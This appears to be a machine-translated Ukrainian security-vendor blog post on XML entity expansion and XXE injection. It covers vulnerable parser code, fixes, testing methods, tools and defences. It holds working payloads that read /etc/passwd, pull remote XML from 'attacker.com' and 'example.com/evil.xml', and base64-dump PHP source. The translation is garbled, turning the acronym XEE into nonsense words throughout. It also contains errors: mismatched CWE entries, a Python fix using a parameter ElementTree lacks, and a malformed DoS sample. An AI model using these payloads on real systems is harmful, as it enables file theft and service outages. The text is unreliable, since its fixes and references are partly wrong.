06 Бер, 2023

XML Entity Expansion (XEE) Injection

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

XML Entity Expansion (XEE) Injection це тип уразливості безпеки, яка може виникнути в додатках на основі XML. Він включає в себе впровадження XML-об'єктів, які являють собою фрагменти коду, які можуть бути розширені і оцінені аналізатором XML, що дозволяє зловмиснику виконувати довільний код або отримувати доступ до конфіденційних даних. Атаки з використанням в м'яч або-ін'єкцій можуть виникати, коли вхідні XML-дані не перевіряються або не очищається належним чином, що дозволяє включати і розширювати шкідливі XML-об'єкти. Це може привести до різних типів атак, таких як атаки типу "відмова в обслуговуванні", розкриття інформації або навіть віддалене виконання коду. Щоб запобігти впровадження в м'яч або, додатки повинні перевіряти і очищати всі вхідні дані XML, обмежувати використання зовнішніх об'єктів і використовувати безпечні аналізатори XML.

Приклад уразливого коду на різних мовах програмування:


В Java:

				
					import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.File;

public class XMLParser {
   public static void main(String[] args) {

      try {
         File inputFile = new File("input.xml");
         DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
         DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
         Document doc = dBuilder.parse(inputFile);
         doc.getDocumentElement().normalize();

         System.out.println("Root element :" + doc.getDocumentElement().getNodeName());
      } catch (Exception e) {
         e.printStackTrace();
      }
   }
}

				
			


У наведеному вище коді XML-файл аналізується за допомогою DocumentBuilderFactory and DocumentBuilder класи. Однак цей код вразливий для впровадження в м'яч або, оскільки він не відключає обробку зовнішніх об'єктів. Зловмисник може включити шкідливу XML-сутність у вхідний файл, який може бути розширений аналізатором і виконати довільний код або отримати доступ до конфіденційних даних.

Щоб запобігти впровадження в м'яч або в Java, перед аналізом XML-файлу необхідно додати наступний рядок:

				
					dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);


				
			


Це вимикає обробку зовнішніх об'єктів і запобігає впровадження в м'яч або.

• В PHP:

				
					$xml = simplexml_load_file("input.xml");
echo $xml->getName();

				
			

 

У наведеному вище PHP-коді XML-файл завантажується за допомогою simplexml_load_file функція. Однак цей код вразливий для впровадження в м'яч або, оскільки функція не відключає обробку зовнішніх об'єктів. Зловмисник може включити шкідливу XML-сутність у вхідний файл, який може бути розширений аналізатором і виконати довільний код або отримати доступ до конфіденційних даних.

Щоб запобігти впровадження в м'яч або в PHP, перед завантаженням XML-файлу необхідно додати наступний рядок:

				
					libxml_disable_entity_loader(true);

				
			


Це вимикає обробку зовнішніх об'єктів і запобігає впровадження в м'яч або.

• в Python:

				
					import xml.etree.ElementTree as ET

tree = ET.parse('input.xml')
root = tree.getroot()

print(root.tag)

				
			

 

In the above Python code, an XML file is parsed using the xml.etree.ElementTree модуль. Однак цей код вразливий для впровадження в м'яч або, оскільки модуль не відключає обробку зовнішніх об'єктів. Зловмисник може включити шкідливу XML-сутність у вхідний файл, який може бути розширений аналізатором і виконати довільний код або отримати доступ до конфіденційних даних.

Щоб запобігти впровадження в м'яч або в Python, перед аналізом XML-файлу необхідно додати наступний рядок:

				
					ET.parse('input.xml', parser=ET.XMLParser(target=ET.TreeBuilder(), resolve_entities=False))

				
			


Це вимикає обробку зовнішніх об'єктів і запобігає впровадження в м'яч або.

Приклади використання впровадження розширення сутності XML (в м'яч або)

Атака типу "відмова в обслуговуванні" (DoS):

An attacker can create a malicious XML file that contains a large number of entity references, causing the XML parser to expand them and consume a large amount of memory and CPU resources, leading to a denial-of-service (DoS) attack.

Приклад XML-файлу:

				
					<!DOCTYPE test [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"]>
]>
<test>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</test>

				
			


Розкриття інформації:

Зловмисник може створити шкідливий XML-файл, що містить посилання на зовнішню сутність на конфіденційний файл на сервері, наприклад /etc/passwd, which can be expanded by the XML parser and reveal the contents of the file to the attacker.

Приклад XML-файлу:

				
					<!DOCTYPE test [
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<test>&passwd;</test>

				
			


Віддалене виконання коду:

Зловмисник може створити шкідливий XML-файл, що містить зовнішню посилання на об'єкт, на віддалений сервер, який обслуговує шкідливий XML-файл, який може бути розширений аналізатором XML і виконати довільний код у системі жертви.

Приклад XML-файлу:

				
					<!DOCTYPE test [
  <!ENTITY remote SYSTEM "http://attacker.com/malicious.xml">
]>
<test>&remote;</test>

				
			

Методи підвищення привілеїв для впровадження розширення сутності XML (в м'яч або)

Перейти до кореня:

If the XML parser is running with elevated privileges, such as root or SYSTEM, an attacker can use XEE injection to read sensitive files, such as configuration files, and use the information gained to escalate privileges to root or SYSTEM.

Доступ до конфіденційних даних:

Зловмисник може використовувати впровадження в м'яч або для доступу до конфіденційних даних, таких як паролі або інша аутентификационная інформація, які потім можуть бути використані для підвищення привілеїв для отримання доступу до інших систем або ресурсів.

Віддалене виконання коду:

Як згадувалося раніше, зловмисник може використовувати впровадження в м'яч або для виконання довільного коду в системі жертви, який може бути використаний для підвищення привілеїв, наприклад, шляхом виконання команди з підвищеними привілеями.

Обхід засобів контролю безпеки:

Зловмисник може використовувати впровадження в м'яч або для обходу засобів контролю безпеки, таких як перевірка вхідних даних або контроль доступу, і отримати доступ до ресурсів або функцій, які в іншому разі були б обмежені.

Зміна системних установок:

Зловмисник може використовувати впровадження в м'яч або для зміни параметрів, таких як відключення елементів управління безпекою або додавання нового користувача з підвищеними привілеями, що може бути використано для підвищення привілеїв та отримання ширшого доступу до системи.

Загальна методологія та контрольний список для впровадження розширення сутності XML (в м'яч або)

Методологія:

  1. Визначте мету: Визначте додаток або систему, які використовують XML і можуть бути уразливі для впровадження в м'яч або.

  2. Розуміння синтаксичного аналізатора XML: Розуміння синтаксичного аналізатора XML, використовуваного цільовим додатком або системою, включаючи його можливості та обмеження.

  3. Розробка тестових прикладів: Розробіть тестові приклади для перевірки вразливостей впровадження в м'яч або, таких як відправка корисного навантаження XML, що містить посилання на сутності, і спостереження за відповіддю цільового об'єкта.

  4. Тест на відмову в обслуговуванні: Перевірте наявність вразливостей типу "відмова в обслуговуванні" (DoS), відправивши корисну навантаження XML, що містить велику кількість посилань на сутності, і спостерігаючи за відповіддю цільового об'єкта.

  5. Тест на розкриття інформації: Перевірте наявність вразливостей при розкритті інформації, відправивши корисну навантаження XML, що містить посилання на об'єкти, до конфіденційних файлів, і спостерігаючи за відповіддю мети.

  6. Тест на віддалене виконання коду: Перевірте уразливості віддаленого виконання коду, відправивши корисні навантаження XML, що містять посилання на сутності, на віддалений сервер, контрольований зловмисником, і спостерігаючи за відповіддю мети.

  7. Тест на підвищення привілеїв: Перевірте уразливості на предмет підвищення привілеїв, використовуючи впровадження в м'яч або для підвищення привілеїв, наприклад, при доступі до конфіденційних файлів або зміну системних налаштувань.

  8. Перевірка і звіт: Перевірте всі виявлені вразливості і повідомте про них відповідним сторонам, таким як постачальника додатків або систем або організація, відповідальна за тестування безпеки.

Контрольний список:

  1. Визначте аналізатор XML, який використовується цільовим додатком або системою.

  2. Перевірте можливість обробки XML external entity (XXE) та документуйте будь-які результати.

  3. Перевірте уразливості впровадження в м'яч або, відправивши корисні навантаження XML, що містять посилання на сутності, і спостерігаючи за відповіддю цільового об'єкта.

  4. Перевірте наявність вразливостей DoS, відправивши корисну навантаження XML, що містить велику кількість посилань на сутності, і спостерігаючи за відповіддю цільового об'єкта.

  5. Перевірте наявність вразливостей при розкритті інформації, відправивши корисну навантаження XML, що містить посилання на об'єкти, до конфіденційних файлів, і спостерігаючи за відповіддю мети.

  6. Перевірте уразливості віддаленого виконання коду, відправивши корисні навантаження XML, що містять посилання на сутності, на віддалений сервер, контрольований зловмисником, і спостерігаючи за відповіддю мети.

  7. Перевірте уразливості на предмет підвищення привілеїв, використовуючи впровадження в м'яч або для підвищення привілеїв, наприклад, при доступі до конфіденційних файлів або зміну системних налаштувань.

  8. Перевірте всі виявлені вразливості і повідомте про них відповідним сторонам, таким як постачальника додатків або систем або організація, відповідальна за тестування безпеки.

  9. Використовуйте інструменти, такі як сканери вразливостей і інструменти фазування, щоб допомогти в процесі тестування.

  10. Переконайтеся, що тестування проводиться в контрольованій і безпечної середовищі, щоб уникнути будь-яких небажаних наслідків, таких як DoS-атаки або несанкціонований доступ до конфіденційної інформації.

  11. Документуйте всі дії з тестування, включаючи тестові приклади, результати і рекомендації по виправленню.

  12. Періодично повторюйте тестування, щоб переконатися, що уразливості були усунені і нові уразливості не були впроваджені.

Набір інструментів для експлуатації XML Entity Expansion (XEE) Injection

Ручні Інструменти:

  • Burp Suite: Популярний інструмент тестування веб-додатків, який включає в себе проксі, сканер і інші утиліти. Він має вбудований редактор XML, який дозволяє проводити ручне тестування вразливостей, пов'язаних з впровадженням в м'яч або.

  • XML External Entity (XXE) Injection Cheat Sheet: Повне керівництво, що включає зразки корисного навантаження і методи тестування для ін'єкції в м'яч або.

  • Xerxes XXE Editor: Редактор XML з відкритим вихідним кодом, який можна використовувати для ручного тестування вразливостей, пов'язаних з впровадженням в м'яч або.

  • Oxygen XML Editor: Комплексний редактор XML, який включає функції для ручного тестування вразливостей, пов'язаних з впровадженням в м'яч або.

  • Notepad++: Текстовий редактор з підсвічуванням синтаксису XML, який можна використовувати для ручного тестування вразливостей, пов'язаних з впровадженням в м'яч або.

  • Firefox XML Developer Toolbar: Розширення для браузера, яке включає в себе інструменти для тестування вразливостей XML і в м'яч або injection.

  • Chrome Developer Інструменти: Функція браузера, яка включає в себе інструменти для тестування вразливостей, пов'язаних з впровадженням XML і в м'яч або.

Автоматизовані інструменти:

  • OWASP ZAP: Інструмент тестування безпеки веб-додатків з відкритим вихідним кодом, що включає в себе сканер вразливостей для впровадження в м'яч або.

  • Acunetix: Інструмент тестування безпеки веб-додатків, який включає в себе сканер вразливостей для впровадження в м'яч або.

  • Netsparker: Інструмент тестування безпеки веб-додатків, який включає в себе сканер вразливостей для впровадження в м'яч або.

  • AppScan: Інструмент тестування безпеки веб-додатків, який включає в себе сканер вразливостей для впровадження в м'яч або.

  • Nmap: Інструмент для дослідження мережі та аудиту безпеки, який включає в себе сценарій для тестування вразливостей, пов'язаних з впровадженням в м'яч або.

  • sqlmap: Популярний інструмент тестування SQL-ін'єкцій, який включає в себе функціональність для тестування вразливостей в м'яч або-ін'єкцій.

  • Metasploit: Комплексна платформа тестування на проникнення, що включає модулі для тестування вразливостей, пов'язаних з впровадженням в м'яч або.

  • Skipfish: Інструмент тестування безпеки веб-додатків, який включає в себе сканер вразливостей для впровадження в м'яч або.

  • Arachni: Інструмент тестування безпеки веб-додатків, який включає в себе сканер вразливостей для впровадження в м'яч або.

  • Vega: Інструмент тестування безпеки веб-додатків, який включає в себе сканер вразливостей для впровадження в м'яч або.

  • Burp Suite Pro: The professional version of Burp Suite, which includes a scanner for XEE injection vulnerabilities.

  • WebScarab: Інструмент тестування безпеки веб-додатків з відкритим вихідним кодом, що включає в себе сканер вразливостей для впровадження в м'яч або.

  • Qualys: A cloud-based web application security testing tool that includes a scanner for XEE injection vulnerabilities.

Середній бал CVSS stack XML Entity Expansion (XEE) Injection

Загальна система оцінки вразливостей (CVSS) - це стандартизована система, використовувана для оцінки серйозності вразливостей в програмних системах. Оцінка CVSS варіюється від 0 до 10, причому більш високі оцінки вказують на більш серйозні уразливості.

Середній бал CVSS для вразливостей, пов'язаних з впровадженням в м'яч або, може сильно варіюватися в залежності від конкретної уразливості та системи або програми, в яких вона виявлена. Ступінь уразливості при впровадженні в м'яч або може варіюватися від низької до критичної, в залежності від того, який вплив вони чинять на систему або програму.

Як правило, уразливості з впровадженням в м'яч або, які дозволяють зловмиснику зчитувати конфіденційну інформацію або викликати атаки типу "відмова в обслуговуванні" (DoS), як правило, мають більш низькі оцінки CVSS, зазвичай в діапазоні від 4 до 6. Більш серйозні уразливості з впровадженням в м'яч або, які дозволяють зловмиснику виконувати довільний код або отримувати адміністративний доступ до системи, можуть мати більш високі оцінки CVSS, зазвичай в діапазоні від 7 до 10.

However, it’s important to note that the CVSS score is just one factor to consider when assessing the severity of a vulnerability. Other factors, such as the potential impact on the organization and the likelihood of exploitation, should also be taken into account when determining the severity of a vulnerability and prioritizing remediation efforts.

Загальна перерахування слабких місць (CWE)

• CWE-611: неправильне обмеження посилання на зовнішні об'єкти, XML – це CWE відноситься до уразливості, при якій додаток використовує зовнішні об'єкти в XML-документі без їх належної перевірки або очищення, що дозволяє зловмисникові вводити довільний код у XML-документ.

• CWE-78: Improper Neutralization of Special Elements used in an XML External Entity Reference – This CWE is similar to CWE-611, but it specifically refers to a vulnerability where an application does not properly neutralize special characters in an XML external entity reference, which can allow an attacker to inject arbitrary code.

• CWE-91: впровадження XML (також відоме як сліпе впровадження XPath) – це CWE відноситься до уразливості, при якій додаток неправильно перевіряє дані, що вводяться користувачем, використовувані для побудови запиту XPath, що дозволяє зловмисникові вводити шкідливий код в запит і потенційно виконувати довільні команди на сервері.

• CWE-129: Improper Validation of Array Index – This CWE refers to a vulnerability where an application does not properly validate user input that is used as an array index, which can allow an attacker to read or write data outside the bounds of the array.

• CWE-190: переповнення цілих чисел або обтікання – це CWE відноситься до уразливості, при якій додаток виконує арифметичні операції з цілими числами без належної перевірки вхідних даних, що може призвести до переповнення або обтеканию цілих чисел і потенційно дозволити зловмиснику виконати довільний код.

• CWE-434: необмежена завантаження файлу з небезпечним типом – цей CWE відноситься до уразливості, при якій додаток дозволяє користувачам завантажувати файли без належної перевірки типу файлу, що може дозволити зловмиснику завантажити шкідливий файл і потенційно виконати довільний код.

• CWE-440: Очікуване порушення поведінки – це CWE відноситься до уразливості, при якій додаток поводиться таким чином, що порушує його поведінка, потенційно дозволяючи зловмиснику використовувати систему.

• CWE-601: перенаправлення URL-адреси на ненадійний сайт ('Відкрити перенаправлення') – Цей CWE відноситься до уразливості, при якій програма перенаправляє користувачів на ненадійний веб-сайт, потенційно дозволяючи зловмиснику використовувати систему.

• CWE-862: відсутній авторизація – це CWE відноситься до уразливості, при якій програма не виконує належну аутентифікацію або авторизацію користувачів, що потенційно дозволяє зловмиснику отримати несанкціонований доступ до конфіденційних даних або функцій.

• CWE-937: Неправильний контроль імені файлу інструкції Include / Require у програмі PHP – Цей CWE відноситься до уразливості, при якій програма включає або вимагає файл на основі користувальницького введення, потенційно дозволяючи зловмиснику виконувати довільний код, маніпулюючи ім'ям файлу.

CVE, пов'язані з впровадженням розширення сутності XML (в м'яч або)

• CVE-2015-5161 – Zend_Xml_Security::scan у ZendXml до версії 1.0.1 і Zend Framework до версії 1.12.14, 2.x до версії 2.4.6 і 2.5.x до версії 2.5.2 при запуску під управлінням PHP-FPM в потокової середовищі дозволяє віддаленим зловмисникам обходити перевірки безпеки та проводити XML external entity (XXE) і розширення XML entity (в м'яч або) атакує з допомогою многобайтовых кодованих символів.

XML Entity Expansion (XEE) Injection подвиги

  • Атака на Мільярд Смєхов – Цей експлойт являє собою тип атаки в м'яч або, яка використовує велику кількість вкладених посилань на сутності для споживання системних ресурсів і потенційного збою сервера.

  • Введення об'єкта параметра – Цей експлойт використовує можливість визначення сутностей в DTD, дозволяючи зловмиснику впроваджувати шкідливий код, визначаючи об'єкт параметра і посилаючись на нього в XML-документі.

  • Отруєння XML - схемою – Цей експлойт використовує можливість включення XML-схем XML-документ, що дозволяє зловмисникові впроваджувати шкідливий код, визначаючи схему, яка посилається на зовнішні об'єкти.

  • Впровадження XPath – Цей експлойт використовує можливість побудови запитів XPath в XML-документі, що дозволяє зловмисникові впроваджувати шкідливий код, маніпулюючи запитом для виконання довільних команд на сервері.

  • XXE Ін'єкція через завантаження файлу – Цей експлойт використовує можливість завантаження файлів на сервер, що дозволяє зловмисникові завантажувати спеціально створений XML-файл, який включає зовнішні об'єкти і виконує довільний код при аналізі сервером.

  • Сліпа ін'єкція XXE – Цей експлойт використовує можливість включення зовнішніх об'єктів XML-документ, що дозволяє зловмисникові впровадити шкідливий код, який не видно у вихідних даних програми.

  • Зміна параметрів – Цей експлойт використовує можливість передачі параметрів додатком, що дозволяє зловмисникові маніпулювати значеннями цих параметрів для виконання довільного коду на сервері.

  • Запровадження атрибутів XML – Цей експлойт використовує можливість визначення атрибутів в XML-документі, що дозволяє зловмисникові впроваджувати шкідливий код, визначаючи атрибут, який включає зовнішні об'єкти.

  • XInclude ін'єкція – Цей експлойт використовує можливість включення зовнішніх ресурсів в XML-документ з використанням стандарту XInclude, дозволяючи зловмиснику містити шкідливий програмний код, який виконується при аналізі документа.

  • Зміна параметрів SOAP – Цей експлойт використовує можливість передачі параметрів веб-служби SOAP, дозволяючи зловмиснику маніпулювати значеннями цих параметрів для виконання довільного коду на сервері.

Практикуючись в тестуванні на XML Entity Expansion (XEE) Injection

Створення уразливого веб-додатки: створіть простий веб-додаток, яке приймає вхідні дані XML і аналізує їх без належного контролю безпеки. Це дозволить вам випробувати різні методи введення в м'яч або в вашому власному додатку в безпечному середовищі.

Використання уразливого додатка: в Інтернеті є кілька вразливих веб-додатків, призначених для використання. Ці програми забезпечують безпечне середовище для відпрацювання методів ін'єкцій в м'яч або.

Використовуйте онлайн-ресурси: існує декілька доступних онлайн-ресурсів, які надають зразки XML-файлів і навчальні посібники по їх використанню. Ці ресурси допоможуть вам зрозуміти методи введення в м'яч або і способи їх тестування.

Приєднуйтесь до хакерскому спільноти: приєднуйтесь до спільноти етичних хакерів, які зацікавлені у тестуванні ін'єкцій в м'яч або. Ці спільноти часто надають ресурси, навчальні посібники та відгуки про ваші методи тестування.

Відвідувати навчальні курси: відвідуйте навчальні курси, які охоплюють методи тестування ін'єкцій в м'яч або. Ці курси часто дають практичний досвід і відгуки про ваші методи тестування.

Використовуйте інструменти тестування: використовуйте інструменти автоматичного тестування, такі як OWASP ZAP або Burp Suite, для перевірки вразливостей, пов'язаних з впровадженням в м'яч або. Ці інструменти можуть заощадити час і надати цінну інформацію про вразливості, присутніх у вашому веб-переглядачі.

Приєднуйтесь до програм винагороди за помилки: приєднуйтесь до програм винагороди за помилки, які пропонують винагороду за пошук уразливостей у веб-додатках. Це може дати вам можливість попрактикуватися у ваших методах тестування ін'єкцій в м'яч або і потенційно заробити трохи грошей у цьому процесі.

Для вивчення впровадження розширення сутності XML (в м'яч або)

OWASP XML Шпаргалка по запобіганню зовнішніх сутностей – Ця шпаргалка містить вичерпне керівництво по запобіганню атак в м'яч або.

OWASP Топ-10 Проектів – Проект OWASP Top 10 " - це добре відомий ресурс, який надає список 10 основних ризиків безпеки веб-додатків, включаючи впровадження в м'яч або.

Впровадження XML-вікі – Вікі-сторінка XML Injection надає інформацію про різні методи впровадження XML, включаючи впровадження в м'яч або.

Керівництво хакера веб-додатків – The Web Application hacker's Handbook - це всеосяжне керівництво по тестуванню безпеки веб-додатків, включаючи методи тестування на впровадження в м'яч або.

Злом відкритих веб-додатків – Hacking Exposed Web Applications - практичне керівництво по тестуванню безпеки веб-додатків, включаючи методи тестування на впровадження в м'яч або.

Навчальний посібник з XML – W3Schools надає вичерпне керівництво по XML, включаючи інформацію про те, як запобігти атаки в м'яч або.

Навчальні програми YouTube – Є кілька каналів YouTube, які надають навчальні посібники з методів тестування ін'єкцій в м'яч або, включаючи OWASP і HackerSploit.

Онлайн-курси – Кілька онлайн-курсів, які забезпечують навчання тестування безпеки веб-додатків, включаючи тестування в м'яч або injection. Udemy і Coursera - популярні платформи, що пропонують такі курси.

Змагання за захоплення прапора (CTF) – Участь у змаганнях CTF може дати практичний досвід з методами тестування ін'єкцій в м'яч або.

Програми винагороди за помилки – Участь у програмах винагороди за помилки може надати можливість попрактикуватися в методах тестування на впровадження в м'яч або і потенційно заробити гроші на пошуку уразливостей у веб-додатках.

Книги з оглядом впровадження XML Entity Expansion (в м'яч або)

"Зламані веб-додатки: Секрети і рішення безпеки веб-додатків" автор: Джоел Скамбрей, Вінсент Ллю і Калеб Сіма – Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків, включаючи методи тестування та запобігання впровадження в м'яч або.

"Керівництво хакера веб-додатків: пошук і використання недоліків безпеки" Дэфидд Штуттард і Маркус Пінто – Ця книга являє собою практичне керівництво по тестуванню безпеки веб-додатків, включаючи методи тестування на впровадження в м'яч або.

"Веб-безпеку, конфіденційність і комерція" Сімсона Гарфинкель і Джин Спаффорд – У цій книзі представлений всеосяжний огляд веб-безпеки, включаючи інформацію про запобігання в м'яч або-атак.

"Захист веб-служб за допомогою WS-Security: демістифікація WS-Security, WS-Policy, SAML, підпису XML і шифрування XML" автор: Джоті Розенберг і Девід Ремі – Ця книга присвячена забезпеченню безпеки веб-сервісів, включаючи методи запобігання впровадження в м'яч або.

"Зломи XML: 100 рад і інструментів для промислового застосування" Майкл Фіцджеральд – Ця книга містить поради та інструменти для роботи з XML, включаючи інформацію про запобігання в м'яч або-атак.

"Уразливості веб-додатків: виявлення, використання, запобігання" автор: Стівен Палмер – У цій книзі представлено практичне керівництво по тестуванню безпеки веб-додатків, включаючи методи тестування на впровадження в м'яч або.

"Безпека веб-додатків: керівництво для початківців" Брайан Салліван і Вінсент Лью – Ця книга являє собою керівництво для початківців з безпеки веб-додатків, включаючи інформацію про запобігання в м'яч або-атак.

"Безпека для веб-розробників: використання JavaScript, HTML і CSS" Джон Пол Мюллер – У цій книзі міститься інформація про захист веб-додатків, включаючи методи запобігання в м'яч або-атак.

"Інженерія безпеки: керівництво по створенню надійних розподілених систем" Росс Андерсон – Ця книга являє собою всеосяжне керівництво по створенню захищених систем, включаючи методи запобігання в м'яч або-атак.

“Основні шаблони безпеки: кращі практики та стратегії для J2EE, веб-служб і керування ідентифікацією"Крістофер Стіл і Рамеш Нагаппан – У цій книзі представлені кращі практики і стратегії побудови захищених систем, включаючи методи запобігання атак в м'яч або.

Впровадження списку корисних навантажень XML Entity Expansion (в м'яч або)

  1. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> Ця корисна навантаження визначає зовнішній об'єкт з ім'ям xxe, який витягує вміст файлу /etc/passwd.

  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://example.com/evil.xml">]> Ця корисна навантаження визначає зовнішню сутність з ім'ям xxe, яка витягує вміст шкідливого XML-файлу, розміщеного на віддаленому сервері.

  3. <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> Ця корисна навантаження визначає зовнішній об'єкт з ім'ям xxe, який витягує вміст закодованого в base64 index.php файл з використанням PHP-фільтра.

  4. <!DOCTYPE test [<!ENTITY xxe SYSTEM "javascript:alert('XSS')"/>]> Ця корисна навантаження визначає зовнішню сутність з ім'ям xxe, яка виконує XSS атаку шляхом введення вікна попередження JavaScript в XML-документ.

  5. <!DOCTYPE test [<!ENTITY % xxe SYSTEM "file:///etc/passwd">%xxe;]> Ця корисна навантаження визначає об'єкт параметр з ім'ям xxe, який витягує вміст файлу /etc/passwd.

  6. <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://input">]> Ця корисна навантаження визначає зовнішню сутність з ім'ям xxe, яка витягує вміст тіла HTTP-запиту.

Як бути захищеним від впровадження XML Entity Expansion (в м'яч або)

  1. Використовуйте безпечний аналізатор XML: Переконайтеся, що використовується аналізатор XML є безпечним і не допускає розширення зовнішніх об'єктів.

  2. Використовуйте перевірку вхідних даних: Вбудуйте належні методи перевірки та фільтрації вхідних даних, щоб гарантувати, що користувальницький введення не містить шкідливого XML-коду.

  3. Використовуйте білий список: Використовуйте білий список відомих безпечних об'єктів XML і забороняйте будь-які інші об'єкти.

  4. Використовуйте параметризрвані запити: Використовуйте параметризрвані запити при створенні XML-документів, щоб уникнути вбудовування користувальницького введення безпосередньо в XML-документ.

  5. Вимкнути розширення зовнішнього об'єкта: Вимкніть розширення зовнішньої сутності в конфігурації аналізатора XML.

  6. Використовуйте перевірку XML-схеми: Вбудуйте перевірку схеми XML, щоб переконатися, що XML-документи відповідають певною схемою, і відхиліть все, що не відповідає.

  7. Очищення користувальницького введення: Очистіть користувальницький введення, щоб видалити будь потенційно шкідливий вміст, такий як XML-об'єкти і теги.

  8. Підтримуйте програмне забезпечення в актуальному стані: Оновлюйте все програмне забезпечення та бібліотеки, які використовують аналізатори XML, за допомогою останніх виправлень безпеки.

  9. Обмеження прав доступу до файлів: Обмежте дозволу файлової системи сервера, на якому розміщені XML-документи, щоб обмежити доступ до конфіденційних файлів.

  10. Використовуйте брандмауер веб-додатків (WAF): Вбудуйте WAF, який може виявляти і блокувати атаки розширення сутності XML шляхом аналізу входять HTTP-запитів і відповідей.

Заходи по пом'якшенню наслідків впровадження XML Entity Expansion (в м'яч або)

